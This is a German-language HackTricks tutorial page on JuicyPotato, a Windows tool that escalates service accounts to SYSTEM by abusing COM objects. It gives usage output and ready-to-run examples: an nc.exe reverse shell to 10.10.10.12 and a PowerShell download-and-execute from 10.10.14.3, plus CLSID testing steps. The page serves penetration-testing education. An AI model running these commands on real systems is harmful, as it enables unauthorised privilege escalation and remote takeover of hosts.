JuicyPotato

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

[!WARNING] > JuicyPotato funktioniert nicht auf Windows Server 2019 und Windows 10 Build 1809 und höher. Allerdings können PrintSpoofer, RoguePotato, SharpEfsPotato verwendet werden, um die gleichen Berechtigungen zu nutzen und Zugriff auf NT AUTHORITY\SYSTEM zu erhalten. Überprüfen:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (Ausnutzung der goldenen Berechtigungen)

Eine gesüßte Version von RottenPotatoNG, mit ein wenig Saft, d.h. ein weiteres Tool zur lokalen Privilegieneskalation, von Windows-Dienstkonten zu NT AUTHORITY\SYSTEM

Sie können juicypotato von https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts herunterladen

Zusammenfassung

Aus dem juicy-potato Readme:

RottenPotatoNG und seine Varianten nutzen die Privilegieneskalationskette basierend auf BITS Dienst, der den MiTM-Listener auf 127.0.0.1:6666 hat und wenn Sie SeImpersonate oder SeAssignPrimaryToken Berechtigungen haben. Während einer Überprüfung des Windows-Builds fanden wir eine Konfiguration, bei der BITS absichtlich deaktiviert war und der Port 6666 belegt war.

Wir beschlossen, RottenPotatoNG zu waffen: Sagen Sie Hallo zu Juicy Potato.

Für die Theorie siehe Rotten Potato - Privilegieneskalation von Dienstkonten zu SYSTEM und folgen Sie der Kette von Links und Referenzen.

Wir entdeckten, dass es neben BITS mehrere COM-Server gibt, die wir ausnutzen können. Sie müssen nur:

  1. vom aktuellen Benutzer instanziierbar sein, normalerweise ein „Dienstbenutzer“, der über Impersonationsberechtigungen verfügt
  2. das IMarshal-Interface implementieren
  3. als ein erhöhter Benutzer (SYSTEM, Administrator, …) ausgeführt werden

Nach einigen Tests erhielten und testeten wir eine umfangreiche Liste von interessanten CLSID’s auf mehreren Windows-Versionen.

Saftige Details

JuicyPotato ermöglicht Ihnen:

  • Ziel-CLSID wählen Sie jede CLSID, die Sie möchten. Hier finden Sie die Liste, die nach OS organisiert ist.
  • COM-Listening-Port definieren Sie den bevorzugten COM-Listening-Port (anstatt des marshallierten fest codierten 6666)
  • COM-Listening-IP-Adresse binden Sie den Server an jede IP
  • Prozess-Erstellungsmodus je nach Berechtigungen des impersonierten Benutzers können Sie wählen zwischen:
  • CreateProcessWithToken (benötigt SeImpersonate)
  • CreateProcessAsUser (benötigt SeAssignPrimaryToken)
  • beide
  • Prozess zum Starten starten Sie eine ausführbare Datei oder ein Skript, wenn die Ausnutzung erfolgreich ist
  • Prozessargument passen Sie die Argumente des gestarteten Prozesses an
  • RPC-Serveradresse für einen stealthy Ansatz können Sie sich bei einem externen RPC-Server authentifizieren
  • RPC-Serverport nützlich, wenn Sie sich bei einem externen Server authentifizieren möchten und die Firewall den Port 135 blockiert…
  • TEST-Modus hauptsächlich zu Testzwecken, d.h. zum Testen von CLSIDs. Es erstellt das DCOM und druckt den Benutzer des Tokens. Siehe hier zum Testen

Verwendung

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Abschließende Gedanken

Aus juicy-potato Readme:

Wenn der Benutzer SeImpersonate oder SeAssignPrimaryToken Berechtigungen hat, dann sind Sie SYSTEM.

Es ist nahezu unmöglich, den Missbrauch all dieser COM-Server zu verhindern. Sie könnten darüber nachdenken, die Berechtigungen dieser Objekte über DCOMCNFG zu ändern, aber viel Glück, das wird herausfordernd sein.

Die eigentliche Lösung besteht darin, sensible Konten und Anwendungen zu schützen, die unter den * SERVICE Konten ausgeführt werden. Das Stoppen von DCOM würde dieses Exploit sicherlich verhindern, könnte jedoch erhebliche Auswirkungen auf das zugrunde liegende Betriebssystem haben.

Von: http://ohpe.it/juicy-potato/

Beispiele

Hinweis: Besuchen Sie diese Seite für eine Liste von CLSIDs, die Sie ausprobieren können.

Erhalten Sie eine nc.exe Reverse-Shell

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Starte eine neue CMD (wenn du RDP-Zugriff hast)

CLSID-Probleme

Oft funktioniert der Standard-CLSID, den JuicyPotato verwendet, nicht und der Exploit schlägt fehl. In der Regel sind mehrere Versuche erforderlich, um einen funktionierenden CLSID zu finden. Um eine Liste von CLSIDs für ein bestimmtes Betriebssystem zu erhalten, solltest du diese Seite besuchen:

Windows CLSID | juicy-potato

Überprüfen von CLSIDs

Zuerst benötigst du einige ausführbare Dateien neben juicypotato.exe.

Lade Join-Object.ps1 herunter und lade es in deine PS-Sitzung, und lade GetCLSID.ps1 herunter und führe es aus. Dieses Skript erstellt eine Liste möglicher CLSIDs, die getestet werden können.

Lade dann test_clsid.bat herunter (ändere den Pfad zur CLSID-Liste und zur juicypotato ausführbaren Datei) und führe es aus. Es wird versuchen, jede CLSID zu testen, und wenn sich die Portnummer ändert, bedeutet das, dass die CLSID funktioniert hat.

Überprüfe die funktionierenden CLSIDs mit dem Parameter -c

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks